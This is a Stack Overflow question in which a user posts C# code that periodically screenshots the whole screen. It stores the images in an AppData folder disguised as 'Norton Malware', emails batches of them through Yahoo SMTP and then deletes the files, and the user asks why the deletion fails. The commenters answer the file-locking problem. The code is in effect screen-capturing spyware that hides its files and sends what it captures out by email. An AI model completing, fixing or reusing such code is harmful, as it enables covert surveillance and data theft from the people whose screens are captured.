1

I want to send a image via smtp and delete it after.

    int i = 1;
    string time;
    System.Net.Mail.Attachment a;
    MailMessage mail = new MailMessage();
    private void button1_Click(object sender, EventArgs e)
    {
        /*Bitmap bm = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
        Graphics g = Graphics.FromImage(bm);
        g.CopyFromScreen(0, 0, 0, 0, bm.Size);
        pictureBox.Image = bm;
        bm.Save("C:\\Users\\iuli\\Desktop\\image.jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
        */
        if (!Directory.Exists(@"C:/Users/iuli/AppData/Roaming/" + "Norton Malware"))
            {
            Directory.CreateDirectory(@"C:/Users/iuli/AppData/Roaming/" + "Norton Malware");
            }

    }

    private void button2_Click(object sender, EventArgs e)
    {
        try
        {

            SmtpClient SmtpServer = new SmtpClient("smtp.mail.yahoo.com");

            mail.From = new MailAddress("mail");
            mail.To.Add("mail");
            mail.Subject = "Test Mail";
            mail.Body = "This is for testing SMTP mail from GMAIL";

            SmtpServer.Port = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential("mail", "mail");
            SmtpServer.EnableSsl = true;

            SmtpServer.Send(mail);
            MessageBox.Show("mail Send");
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.ToString());
        }
    }

    private void timer1_Tick(object sender, EventArgs e)
    {

        if (i <= 10)
        {

            Bitmap bm = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            Graphics g = Graphics.FromImage(bm);
            g.CopyFromScreen(0, 0, 0, 0, bm.Size);
            //pictureBox.Image = bm;
            bm.Save("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image" + i + ".jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
            time = DateTime.Now.ToString("h:mm:ss tt");


        }
        if(i == 1)
        {

            a = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
            mail.Attachments.Add(a);
        }
        else if (i == 2)
        {
            System.Net.Mail.Attachment b;
            b = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image2.jpeg");
            mail.Attachments.Add(b);
            mail.Attachments.Remove(a);
            File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
        }
        else if (i == 3)
        {
            System.Net.Mail.Attachment c;
            c = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image3.jpeg");
            mail.Attachments.Add(c);
        }
        else if (i == 4)
        {
            System.Net.Mail.Attachment d;
            d = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image4.jpeg");
            mail.Attachments.Add(d);
        }
        else if (i == 5)
        {
            System.Net.Mail.Attachment ee;
            ee = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image5.jpeg");
            mail.Attachments.Add(ee);
        }
        else if (i == 6)
        {
            System.Net.Mail.Attachment f;
            f = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image6.jpeg");
            mail.Attachments.Add(f);
        }
        else if (i == 7)
        {
            System.Net.Mail.Attachment f;
            f = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image7.jpeg");
            mail.Attachments.Add(f);
        }
        else if (i == 8)
        {
            System.Net.Mail.Attachment g;
            g = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image8.jpeg");
            mail.Attachments.Add(g);
        }
        else if (i == 9)
        {
            System.Net.Mail.Attachment h;
            h = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image9.jpeg");
            mail.Attachments.Add(h);
        }
        else if (i == 10)
        {
            System.Net.Mail.Attachment ii;
            ii = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image10.jpeg");
            mail.Attachments.Add(ii);
            SmtpClient SmtpServer = new SmtpClient("smtp.mail.yahoo.com");

            mail.From = new MailAddress("mail");
            mail.To.Add("mail");
            mail.Subject = "Test Mail";
            mail.Body = "This is for testing SMTP mail from GMAIL";

            SmtpServer.Port = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential("mail", "password");
            SmtpServer.EnableSsl = true;

            SmtpServer.Send(mail);
            MessageBox.Show("mail Send");
            if (File.Exists(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg"))
            {
                File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
            }



        }
        else { i = 1; }
        i += 1;
    }
}
}

and after email was sent, to delete it:

File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image2.jpeg");

But i get an error which says file is used by another process.

Cee McSharpface
  • 8,493
  • 3
  • 36
  • 77
  • show more of your code. Do you send asynchronously > then the case is clear. At any rate, the framework should be able to control the file until the mail has been completely sent. Also Ii could not be deleted right after the `Attachment` object has been added to the collection, it is opened and streamed later. – Cee McSharpface Dec 15 '17 at 09:56
  • 2
    Post the *relevant* code. What you posted creates the attachment, it doesn't send the email or dispose of the client, message. – Panagiotis Kanavos Dec 15 '17 at 09:56
  • Use `Dispose` on `Attachment` to release resources before `File.Delete`. Or better use the `using` statement. – Alexander Petrov Dec 15 '17 at 10:13
  • plus, if it is in a roaming profile folder called "Norton Malware", then the odds are that multiple issues prevent deleting the file (windows thumbnail, virus scanner, ...). Do you succeed in deleting when you skip the attachment part entirely? – Cee McSharpface Dec 15 '17 at 10:16
  • 1
    Possible duplicate of [delete attachment file](https://stackoverflow.com/questions/2857107/delete-attachment-file) – Cee McSharpface Dec 15 '17 at 10:23

0 Answers0